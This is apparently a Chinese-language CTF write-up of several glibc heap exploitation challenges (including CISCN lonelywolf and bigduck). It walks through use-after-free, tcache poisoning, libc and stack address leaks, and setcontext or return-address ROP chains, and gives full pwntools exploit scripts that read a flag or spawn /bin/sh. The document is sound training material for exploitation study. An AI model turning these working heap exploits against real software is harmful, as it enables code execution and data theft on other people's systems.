void __fastcall main (__int64 a1, char **a2, char **a3) { __int64 v3[5 ]; v3[1 ] = __readfsqword(0x28 u); sub_C70(); while ( 1 ) { puts ("1. allocate" ); puts ("2. edit" ); puts ("3. show" ); puts ("4. delete" ); puts ("5. exit" ); __printf_chk(1LL , "Your choice: " ); __isoc99_scanf(&unk_1144, v3); switch ( v3[0 ] ) { case 1LL : add(); break ; case 2LL : edit(); break ; case 3LL : show(); break ; case 4LL : delete(); break ; case 5LL : exit (0 ); default : puts ("Unknown" ); break ; } } }
乍看一下漏洞给的挺多 好像是很简单的堆模板题
但是还开启了沙盒 那显然是无法获取shell了 那就只能想办法构造rop链
同时仔细观察一下 你还会发现 其用来存储chunk指针的不是数组而是单子长的一个指针 这就意味着我们只能操控最新申请的一个chunk
我们拥有的漏洞点包含 UAF off_by_null
既然给了show函数 那么这时候想要泄露基址 还是通过Unsortedbin 不过由于对于申请chunk大小的限制 同时还有指针问题 所以这里要想把chunk丢到unsortedbin中只能通过篡改tcache_perthread_struct来实现目的了
另外 还有一个问题 由于开启了沙盒 沙盒的调用本身也是需要内存空间的 所以程序会自带一些chunk
不过这些chunk对于我们的利用不会起到太大的影响 在做题的过程中小心一下即可
为了劫持tcache_perthread_struct 我们首要的目的就是泄露堆地址
既然有UAF 那么我这里选择的办法是double free 然后泄露fd的值 计算堆基址
add(0 ,0x28 ) delete(0 ) edit(0 ,p64(0 )*2 ) delete(0 ) add(0 ,0x28 ) show(0 ) heap_addr = (u64(io.recvuntil("\x0a" ,drop = True )[-6 :].ljust(8 ,b'\x00' )) >> 12 ) * (0x1000 )-0x1000 success("heap_addr :" +hex (heap_addr))
接下来顺带利用好这个double free 来申请到tcache_perthread_struct的地址 然后更改一下counts数组
edit(0 ,p64(heap_addr+0x10 )) add(0 ,0x28 ) add(0 ,0x28 ) edit(0 ,p64(0 )*4 +p64(0x7000000 ))
这里的*p64(0)4+p64(0x7000000)) 我还是提一嘴
这样修改counts 你会发现被改为7的是0x250链表的位置
之所以是0x250 是因为实际上此时的指针指向的chunk 虽然我们是通过0x28申请到的chunk 但是chunk头的0x251并没有被改写
接下来就是释放chunk进unsortedbin 随后获得一些下面要用到的地址
delete(0 ) show(0 ) main_arena_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) success("main_arena_addr :" +hex (main_arena_addr)) libc_addr = main_arena_addr - (0x7f98511ebca0 -0x7f9850e00000 ) success("libc_addr :" +hex (libc_addr)) free_hook = libc_addr + libc.sym['__free_hook' ] setcontext = libc_addr + libc.sym['setcontext' ] + 53
setcontext就是我们接下来要构造orw的关键好戏了
你可以在libc文件中找到这一函数
可以看到函数对各种寄存器的值都进行了操作 并且还有一次push rcx的入栈操作 特别是
.text:00000000000521B5 mov rsp, [rdi+0A0h]
对于rsp寄存器的劫持可以使得我们在堆上构造rop链 随后迁移过去 因为其赋值是根据rdi来的
rdi寄存器的值要怎么由我们操控呢? 当然是free函数了
进行一个小实验 编写如下程序
#include <stdio.h> #include <stdlib.h> #include <malloc.h> int main () { char *a[50 ]; *a = malloc (0x20 ); free (*a); puts ("test" ); }
可以看到此时执行free函数时 rdi寄存器指向的就是chunk的地址
控制rdi寄存器的办法有了 接下来来安排下tcache_perthread_struct的布置问题 我们需要修改entry数组 来得到多次任意地址申请的机会
在开始布置之前 我们需要先获得能修改到其的机会 由于我们最开始使用的是0x28字节的chunk 显然是不够修改到entry数组的长度
我们挑选一个还没有存放chunk的tcachebin链表 会向unsortedbin中申请 所以此时申请到的地址还是tcache_perthread_struct中
add(0 ,0x48 ) edit(0 ,p64(0 )*8 +p64(heap_addr+0x50 ))
于是我们获得了修改entry数组的机会 我们将0x20链表的修改为heap_addr+0x50 这个地址指向的就是entry数组的首地址
随后我们利用这个机会 修改0x40链表的entry 这样就可以修改到更大链表的机会
add(0 ,0x18 ) edit(0 ,p64(0 )*2 +p64(heap_addr+0x50 ))
add(0 ,0x38 ) payload = p64(free_hook)+p64(heap_addr+0x1000 )+p64(heap_addr+0x1000 +0xa0 ) payload += p64(heap_addr+0x1000 )+p64(heap_addr+0x2000 )+p64(0 )+p64(heap_addr+0x2000 +0x58 ) edit(0 ,payload)
这里的entry构造就要详细讲讲了
我们需要把rop链写到堆上 不过由于对申请堆块的限制 所以就只能分两次写 对应着0x60和0x80的链表
0x20的链表则用来修改free_hook 使其指向setcontext+53的地址
0x30和0x40的链表我们要用来配合劫持rsp指针 使其迁移到堆上的rop链
0x50的链表则是用来触发free 充当rdi寄存器值
0x70没有作用
ret_addr = libc_addr + 0x00000000000008aa rdi_addr = libc_addr + 0x000000000002164f rsi_addr = libc_addr + 0x0000000000023a6a rdx_addr = libc_addr + 0x0000000000001b96 rax_addr = libc_addr + 0x000000000001b500 syscall = libc_addr + libc.sym['alarm' ]+0x5 add(0 ,0x18 ) edit(0 ,p64(setcontext)) add(0 ,0x28 ) edit(0 ,b'./flag\x00\x00' ) add(0 ,0x38 ) edit(0 ,p64(heap_addr+0x2000 )+p64(ret_addr))
劫持rsp指针的payload这里就不解释了 可以看我相关博客
flag_addr = heap_addr + 0x1000 rop_open = p64(rdi_addr)+p64(flag_addr) rop_open += p64(rsi_addr)+p64(0 ) rop_open += p64(rax_addr)+p64(2 ) rop_open += p64(syscall) rop_read = p64(rdi_addr)+p64(3 ) rop_read += p64(rsi_addr)+p64(flag_addr) rop_read += p64(rdx_addr)+p64(0x30 ) rop_read += p64(rax_addr)+p64(0 ) rop_read += p64(syscall) rop_write = p64(rdi_addr)+p64(1 ) rop_write += p64(rsi_addr)+p64(flag_addr) rop_write += p64(rdx_addr)+p64(0x30 ) rop_write += p64(rax_addr)+p64(1 ) rop_write += p64(syscall) payload = rop_open+rop_read+rop_write add(0 ,0x58 ) edit(0 ,payload[:0x58 ]) add(0 ,0x78 ) edit(0 ,payload[0x58 :])
接着就是布置rop链了 分两次部署 [:0x58]和[0x58:]就是取前后0x58字节的部分 这个python语法问题 没啥好说的
最后就是释放0x50链表的chunk了 成功获取flag
add(0 ,0x48 ) delete(0 ) io.recv()
完整exp:
from pwn import *from LibcSearcher import *io = process("./pwn" ) context.log_level = "debug" context.terminal = ['tmux' ,'splitw' ,'-h' ] libc = ELF("./glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so" ) elf = ELF("./pwn" ) def debug (): gdb.attach(io) pause() def add (index,size ): io.recvuntil("Your choice: " ) io.sendline(b'1' ) io.recvuntil("Index: " ) io.sendline(str (index)) io.recvuntil("Size: " ) io.sendline(str (size)) io.recvuntil("Done!" ) def edit (index,content ): io.recvuntil("Your choice: " ) io.sendline(b'2' ) io.recvuntil("Index: " ) io.sendline(str (index)) io.recvuntil("Content: " ) io.sendline(content) def show (index ): io.recvuntil("Your choice: " ) io.sendline(b'3' ) io.recvuntil("Index: " ) io.sendline(str (index)) def delete (index ): io.recvuntil("Your choice: " ) io.sendline(b'4' ) io.recvuntil("Index: " ) io.sendline(str (index)) add(0 ,0x28 ) delete(0 ) edit(0 ,p64(0 )*2 ) delete(0 ) add(0 ,0x28 ) show(0 ) heap_addr = (u64(io.recvuntil("\x0a" ,drop = True )[-6 :].ljust(8 ,b'\x00' )) >> 12 ) * (0x1000 )-0x1000 success("heap_addr :" +hex (heap_addr)) edit(0 ,p64(heap_addr+0x10 )) add(0 ,0x28 ) add(0 ,0x28 ) edit(0 ,p64(0 )*4 +p64(0x7000000 )) delete(0 ) show(0 ) main_arena_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) success("main_arena_addr :" +hex (main_arena_addr)) libc_addr = main_arena_addr - (0x7f98511ebca0 -0x7f9850e00000 ) success("libc_addr :" +hex (libc_addr)) free_hook = libc_addr + libc.sym['__free_hook' ] setcontext = libc_addr + libc.sym['setcontext' ] + 53 add(0 ,0x48 ) edit(0 ,p64(0 )*8 +p64(heap_addr+0x50 )) add(0 ,0x18 ) edit(0 ,p64(0 )*2 +p64(heap_addr+0x50 )) add(0 ,0x38 ) payload = p64(free_hook)+p64(heap_addr+0x1000 )+p64(heap_addr+0x1000 +0xa0 ) payload += p64(heap_addr+0x1000 )+p64(heap_addr+0x2000 )+p64(0 )+p64(heap_addr+0x2000 +0x58 ) edit(0 ,payload) ret_addr = libc_addr + 0x00000000000008aa rdi_addr = libc_addr + 0x000000000002164f rsi_addr = libc_addr + 0x0000000000023a6a rdx_addr = libc_addr + 0x0000000000001b96 rax_addr = libc_addr + 0x000000000001b500 syscall = libc_addr + libc.sym['alarm' ]+0x5 add(0 ,0x18 ) edit(0 ,p64(setcontext)) add(0 ,0x28 ) edit(0 ,b'./flag\x00\x00' ) add(0 ,0x38 ) edit(0 ,p64(heap_addr+0x2000 )+p64(ret_addr)) flag_addr = heap_addr + 0x1000 rop_open = p64(rdi_addr)+p64(flag_addr) rop_open += p64(rsi_addr)+p64(0 ) rop_open += p64(rax_addr)+p64(2 ) rop_open += p64(syscall) rop_read = p64(rdi_addr)+p64(3 ) rop_read += p64(rsi_addr)+p64(flag_addr) rop_read += p64(rdx_addr)+p64(0x30 ) rop_read += p64(rax_addr)+p64(0 ) rop_read += p64(syscall) rop_write = p64(rdi_addr)+p64(1 ) rop_write += p64(rsi_addr)+p64(flag_addr) rop_write += p64(rdx_addr)+p64(0x30 ) rop_write += p64(rax_addr)+p64(1 ) rop_write += p64(syscall) payload = rop_open+rop_read+rop_write add(0 ,0x58 ) edit(0 ,payload[:0x58 ]) add(0 ,0x78 ) edit(0 ,payload[0x58 :]) add(0 ,0x48 ) delete(0 ) io.recv()
[CISCN 2021 初赛]lonelywolf 比上面那一题更加简单 因为没有了沙盒限制 手法一模一样 就直接放exp了 唯一的麻烦是打不通远程 因为远程是2.27 1.4的版本 搞不到
from pwn import *from LibcSearcher import *io = process("./pwn" ) context.log_level = "debug" context.terminal = ['tmux' ,'splitw' ,'-h' ] libc = ELF("./glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so" ) elf = ELF("./pwn" ) def debug (): gdb.attach(io) pause() def add (index,size ): io.recvuntil("Your choice: " ) io.sendline(b'1' ) io.recvuntil("Index: " ) io.sendline(str (index)) io.recvuntil("Size: " ) io.sendline(str (size)) io.recvuntil("Done!" ) def edit (index,content ): io.recvuntil("Your choice: " ) io.sendline(b'2' ) io.recvuntil("Index: " ) io.sendline(str (index)) io.recvuntil("Content: " ) io.sendline(content) def show (index ): io.recvuntil("Your choice: " ) io.sendline(b'3' ) io.recvuntil("Index: " ) io.sendline(str (index)) def delete (index ): io.recvuntil("Your choice: " ) io.sendline(b'4' ) io.recvuntil("Index: " ) io.sendline(str (index)) add(0 ,0x70 ) delete(0 ) edit(0 ,p64(0 )*2 ) delete(0 ) show(0 ) heap_addr = u64(io.recvuntil("\x0a" ,drop = True )[-6 :].ljust(8 ,b'\x00' ))-0x260 success("heap_addr :" +hex (heap_addr)) edit(0 ,p64(heap_addr+0x10 )) add(0 ,0x70 ) add(0 ,0x70 ) payload = p64(0 )*4 +p64(0x7000000 ) edit(0 ,payload) delete(0 ) show(0 ) main_arena_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) success("main_arena_addr :" +hex (main_arena_addr)) libc_addr = main_arena_addr - (0x7f85379ebca0 -0x7f8537600000 ) success("libc_addr :" +hex (libc_addr)) free_hook = libc_addr + libc.sym['__free_hook' ] system_addr = libc_addr + libc.sym['system' ] add(0 ,0x60 ) payload = p64(0 )*8 +p64(free_hook) edit(0 ,payload) add(0 ,0x10 ) edit(0 ,p64(system_addr)) add(0 ,0x20 ) edit(0 ,b'/bin/sh\x00' ) delete(0 ) io.interactive()
[CISCN 2022 华东北]bigduck 通过这题学到了很多新东西 先来看一下保护机制吧
这一道题是libc2.33的环境 并且开启了沙盒
接着ida分析一下程序
void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { int v3; init_sandbox(); while ( 1 ) { while ( 1 ) { menu(a1, a2); v3 = ((&sub_1268 + 1 ))(); if ( v3 != 4 ) break ; edit(); } if ( v3 > 4 ) { LABEL_13: a1 = "Invalid choice" ; puts ("Invalid choice" ); } else if ( v3 == 3 ) { show(); } else { if ( v3 > 3 ) goto LABEL_13; if ( v3 == 1 ) { add(); } else { if ( v3 != 2 ) goto LABEL_13; delete(); } } } }
标准的菜单题 函数给的挺全 没有堆溢出 但是有UAF 值得注意的是 add函数只能申请0x100大小的chunk
既然给了打印堆块内容的机会 那么这里想的是通过unsortebin来泄露libc基址 不过由于只能申请0x100的chunk 那就通过填满tcache链表的办法
for i in range (7 ): add() add() add() for i in range (7 ): delete(i) delete(7 )
成功将chunk7释放进unsortedbin
edit(7 ,1 ,b'\x01' ) show(7 ) io.recv() main_arena_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' ))-0x1 -96 success("main_arena_addr :" +hex (main_arena_addr)) libc_addr = main_arena_addr - libc.sym['__malloc_hook' ]-0x10 success("libc_addr :" +hex (libc_addr)) edit(7 ,1 ,b'\x00' )
接下来就是把main_arena_addr打印出来了 唯一一点需要注意的就是该libc版本main_arena_addr + 96末位是\x00 所以printf函数无法将其打印出来 需要我们修改一下末尾的值 最后再减去
接下来 由于高版本多了一个tcache链表的fd异或保护机制 所以还需要泄露堆基址 这个也比较简单 直接打印处链表尾的chunk0就好了
show(0 ) io.recv() key = u64(io.recv(5 ).ljust(8 ,b'\x00' )) success("key :" +hex (key)) heap_addr = key << 12 success("heap_addr :" +hex (heap_addr))
接下来 我们就需要想办法获取flag了 由于开启了沙盒 所以没有办法通过简单的通过hook函数来获取shell
之前的题目做过通过setcontext来劫持rsp指针 迁移到我们在堆上布置的rop链 不过由于2.33 其从rdi寻址改成了rcx寻址 给利用带来了不少难度 所以这里只能作废了
这里使用我们做栈题的老办法了 覆盖ret addr
那么获取到栈地址是一个关键的问题 这里可以使用environ指针
我们跟进一下其存储的栈地址
可以看到低地址处是一个栈帧 我们可以覆盖这个栈帧的ret addr
至于这个是谁的栈帧呢 我编写了一个小程序来动调查验
#include <stdio.h> #include <stdlib.h> #include <malloc.h> void test1 () { puts ("test1" ); } void test2 () { puts ("test2" ); } int main () { test1(); test2(); test1(); }
经过测试 不论是跟进到test函数中 还是在main函数中 environ索引到的都是栈帧高地址处的一块内存
覆盖的ret addr实际上是使得任何函数的返回地址都为止修改(待考证 目前可以确定的是哪怕read函数的返回地址也是受到这个影响的 等我有空更深入了解一下堆栈结构吧 感觉这方面的理解还是不清楚)
经过计算 我们得到了ret addr的地址 接下里只要利用tcachebin attack任意写修改其值就可以了
for i in range (5 ): add() edit(1 ,8 ,p64(environ_addr ^ key)) add() add() edit(0 ,8 ,b'./flag\x00\x00' ) show(15 ) io.recv() stack_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' ))-0x138 success("stack_addr :" +hex (stack_addr))
我们先将tcache清空一下 取出大部分chunk 就留下两个留着攻击
随后申请到environ处 利用show函数打印处栈地址
delete(9 ) delete(10 ) edit(10 ,8 ,p64(stack_addr^key)) add() add() rdi_addr = libc_addr + libc.search(asm('pop rdi;ret;' )).__next__() rsi_addr = libc_addr + libc.search(asm('pop rsi;ret;' )).__next__() rdx_addr = libc_addr + 0x00000000000c7f32 open_addr = libc_addr + libc.sym['open' ] read_addr = libc_addr + libc.sym['read' ] write_addr = libc_addr + libc.sym['write' ] flag_addr = heap_addr + 0x2a0 payload = p64(0 )*3 +p64(rdi_addr) + p64(flag_addr) + p64(rsi_addr) + p64(0 ) + p64(open_addr) payload += p64(rdi_addr) + p64(3 ) + p64(rsi_addr) + p64(flag_addr) + p64(rdx_addr) + p64(0x50 ) + p64(read_addr) payload += p64(rdi_addr) + p64(1 ) + p64(rsi_addr) + p64(flag_addr) + p64(rdx_addr) + p64(0x50 ) + p64(write_addr) edit(17 ,len (payload),payload) io.recv() io.recv() debug()
接下来任意写到ret addr不远处 这里准确的应该是stack_addr - 0x128 但是好像不能直接申请到这里 估计是malloc检查之类的锅 有待考究 至于申请到stack_addr - 0x138的话 覆盖到了canary 但是不会触发报错 是因为压根没检查 可能是出题人通过什么办法去掉了吧
完整exp:
from pwn import *from LibcSearcher import *io = process("./pwn" ) context.log_level = "debug" context.terminal = ['tmux' ,'splitw' ,'-h' ] libc = ELF("/home/chen/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/libc.so.6" ) context.arch = "amd64" elf = ELF("./pwn" ) def debug (): gdb.attach(io) pause() def add (): io.recvuntil("Choice: " ) io.sendline(b'1' ) io.recvuntil("Done" ) def delete (index ): io.recvuntil("Choice: " ) io.sendline(b'2' ) io.recvuntil("Idx: " ) io.sendline(str (index)) def show (index ): io.recvuntil("Choice: " ) io.sendline(b'3' ) io.recvuntil("Idx: " ) io.sendline(str (index)) def edit (index,size,content ): io.recvuntil("Choice: " ) io.sendline(b'4' ) io.recvuntil("Idx: " ) io.sendline(str (index)) io.recvuntil("Size: " ) io.sendline(str (size)) io.recvuntil("Content: " ) io.sendline(content) for i in range (7 ): add() add() add() for i in range (7 ): delete(i) delete(7 ) edit(7 ,1 ,b'\x01' ) show(7 ) io.recv() main_arena_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' ))-0x1 -96 success("main_arena_addr :" +hex (main_arena_addr)) libc_addr = main_arena_addr - libc.sym['__malloc_hook' ]-0x10 success("libc_addr :" +hex (libc_addr)) edit(7 ,1 ,b'\x00' ) show(0 ) io.recv() key = u64(io.recv(5 ).ljust(8 ,b'\x00' )) success("key :" +hex (key)) heap_addr = key << 12 success("heap_addr :" +hex (heap_addr)) environ_addr = libc_addr + libc.sym['environ' ] for i in range (5 ): add() edit(1 ,8 ,p64(environ_addr ^ key)) add() add() edit(0 ,8 ,b'./flag\x00\x00' ) show(15 ) io.recv() stack_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' ))-0x138 success("stack_addr :" +hex (stack_addr)) delete(9 ) delete(10 ) edit(10 ,8 ,p64(stack_addr^key)) add() add() rdi_addr = libc_addr + libc.search(asm('pop rdi;ret;' )).__next__() rsi_addr = libc_addr + libc.search(asm('pop rsi;ret;' )).__next__() rdx_addr = libc_addr + 0x00000000000c7f32 open_addr = libc_addr + libc.sym['open' ] read_addr = libc_addr + libc.sym['read' ] write_addr = libc_addr + libc.sym['write' ] flag_addr = heap_addr + 0x2a0 payload = p64(0 )*3 +p64(rdi_addr) + p64(flag_addr) + p64(rsi_addr) + p64(0 ) + p64(open_addr) payload += p64(rdi_addr) + p64(3 ) + p64(rsi_addr) + p64(flag_addr) + p64(rdx_addr) + p64(0x50 ) + p64(read_addr) payload += p64(rdi_addr) + p64(1 ) + p64(rsi_addr) + p64(flag_addr) + p64(rdx_addr) + p64(0x50 ) + p64(write_addr) edit(17 ,len (payload),payload) io.recv() io.recv() debug()
另外关于最后的劫持程序执行流 还有一种办法 我们之前不是提到过 可以确定的是read函数的栈帧也是在那一块吗 可以劫持read函数执行完后的程序执行流 并且由于我们没有破坏原本的栈结构 所以程序执行完 还是可以正常返回的
我们将任意写的地址改为stack_addr - 0x168 然后s到read函数中的syscall来看一看
可以看到 如果我们在rop链前添上8字节的垃圾数据的话 在执行完read后 rsp指针指向的刚好就是rop链的首地址 这时候执行ret指令 就劫持了程序执行流
另外一种exp:
from pwn import *from LibcSearcher import *io = process("./pwn" ) context.log_level = "debug" context.terminal = ['tmux' ,'splitw' ,'-h' ] libc = ELF("/home/chen/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/libc.so.6" ) context.arch = "amd64" elf = ELF("./pwn" ) def debug (): gdb.attach(io) pause() def add (): io.recvuntil("Choice: " ) io.sendline(b'1' ) io.recvuntil("Done" ) def delete (index ): io.recvuntil("Choice: " ) io.sendline(b'2' ) io.recvuntil("Idx: " ) io.sendline(str (index)) def show (index ): io.recvuntil("Choice: " ) io.sendline(b'3' ) io.recvuntil("Idx: " ) io.sendline(str (index)) def edit (index,size,content ): io.recvuntil("Choice: " ) io.sendline(b'4' ) io.recvuntil("Idx: " ) io.sendline(str (index)) io.recvuntil("Size: " ) io.sendline(str (size)) io.recvuntil("Content: " ) io.sendline(content) for i in range (7 ): add() add() add() for i in range (7 ): delete(i) delete(7 ) edit(7 ,1 ,b'\x01' ) show(7 ) io.recv() main_arena_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' ))-0x1 -96 success("main_arena_addr :" +hex (main_arena_addr)) libc_addr = main_arena_addr - libc.sym['__malloc_hook' ]-0x10 success("libc_addr :" +hex (libc_addr)) edit(7 ,1 ,b'\x00' ) show(0 ) io.recv() key = u64(io.recv(5 ).ljust(8 ,b'\x00' )) success("key :" +hex (key)) heap_addr = key << 12 success("heap_addr :" +hex (heap_addr)) environ_addr = libc_addr + libc.sym['environ' ] for i in range (5 ): add() edit(1 ,8 ,p64(environ_addr ^ key)) add() add() edit(0 ,8 ,b'./flag\x00\x00' ) show(15 ) io.recv() stack_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' ))-0x168 success("stack_addr :" +hex (stack_addr)) delete(9 ) delete(10 ) edit(10 ,8 ,p64(stack_addr^key)) add() add() rdi_addr = libc_addr + libc.search(asm('pop rdi;ret;' )).__next__() rsi_addr = libc_addr + libc.search(asm('pop rsi;ret;' )).__next__() rdx_addr = libc_addr + 0x00000000000c7f32 open_addr = libc_addr + libc.sym['open' ] read_addr = libc_addr + libc.sym['read' ] write_addr = libc_addr + libc.sym['write' ] flag_addr = heap_addr + 0x2a0 payload = p64(0 )*1 +p64(rdi_addr) + p64(flag_addr) + p64(rsi_addr) + p64(0 ) + p64(open_addr) payload += p64(rdi_addr) + p64(3 ) + p64(rsi_addr) + p64(flag_addr) + p64(rdx_addr) + p64(0x50 ) + p64(read_addr) payload += p64(rdi_addr) + p64(1 ) + p64(rsi_addr) + p64(flag_addr) + p64(rdx_addr) + p64(0x50 ) + p64(write_addr) edit(17 ,len (payload),payload) io.recv() io.recv()